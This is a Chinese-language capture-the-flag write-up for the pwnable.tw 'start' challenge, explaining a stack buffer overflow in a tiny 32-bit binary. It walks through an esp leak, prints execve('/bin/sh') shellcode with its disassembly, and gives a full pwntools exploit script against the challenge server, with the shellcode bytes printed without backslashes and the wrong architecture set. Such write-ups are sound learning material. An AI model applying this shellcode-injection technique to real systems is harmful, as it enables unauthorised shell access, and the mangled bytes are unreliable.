初始阶段
先查文件信息
start题目,通通没有开启。
获得信息,小端序
分析阶段
发现没有main函数,只有汇编代码
运行看一下
这里esp先入栈,随后的xor等清空寄存器,然后又push进去了Let`s start the CTF:的字符。
下面提醒调用了sys_write函数,
即调用80h中断的四号程序sys_write 显示字符串
调用80h中断的三号程序sys_read 读入字符串
可以查看system_call_table网址https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md 选择对应的系统即可获得
漏洞存在
可以看到write函数提供了0x14大小,而read的大小的0x3C,显然存在漏洞。
add esp,14h
retn
最后返回到esp后20字节的地方,再次给了机会
获取shell
1.获得esp地址用于覆盖返回地址,执行shellcode
2.让shellcode覆盖栈里面的数据
需要明白的是,当write进去20(0x14)个字节时,read读入的不止这些,还会继续读,而这时提前给esp规划的20个字节空间已经用完,会retn到 输入的20个字节后面的地方,可以造成esp地址的泄露。
1.payload = b’a’ * 20 + p32(0x08048087)
获得esp的地址之后编写shellcode,
利用80h中断中的sys_execve:
点击查看代码
31 c9 xor ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f ;传入参数/bin/sh
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb ;调用80h中断中b号程序:sys_execve
cd 80 int 0x80
shellcode = b’x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80′
获得足够信息后,shellcode执行
2.payload = b’a’ * 20 + p32(‘esp的地址’ + 20) + shellcode
exp:
点击查看代码
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
def main():
content = 0 # 改为 1 测试本地程序
if content == 1:
io = process("./start")
else:
io = remote('chall.pwnable.tw', 10000)
payload = b'a' * 20 + p32(0x08048087)
io.recvuntil(':')
io.send(payload)
addr = u32(io.recv(4)) + 0x14
shellcode = b'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
payload = b'a' * 20 + p32(addr) + shellcode
io.send(payload)
io.interactive()
if __name__ == "__main__":
main()
参考文章:https://www.anquanke.com/post/id/150359,https://blog.csdn.net/qq_43935969/article/details/105717621
1.本站内容仅供参考,不作为任何法律依据。用户在使用本站内容时,应自行判断其真实性、准确性和完整性,并承担相应风险。
2.本站部分内容来源于互联网,仅用于交流学习研究知识,若侵犯了您的合法权益,请及时邮件或站内私信与本站联系,我们将尽快予以处理。
3.本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
4.根据《计算机软件保护条例》第十七条规定“为了学习和研究软件内含的设计思想和原理,通过安装、显示、传输或者存储软件等方式使用软件的,可以不经软件著作权人许可,不向其支付报酬。”您需知晓本站所有内容资源均来源于网络,仅供用户交流学习与研究使用,版权归属原版权方所有,版权争议与本站无关,用户本人下载后不能用作商业或非法用途,需在24个小时之内从您的电脑中彻底删除上述内容,否则后果均由用户承担责任;如果您访问和下载此文件,表示您同意只将此文件用于参考、学习而非其他用途,否则一切后果请您自行承担,如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
5.本站是非经营性个人站点,所有软件信息均来自网络,所有资源仅供学习参考研究目的,并不贩卖软件,不存在任何商业目的及用途
暂无评论内容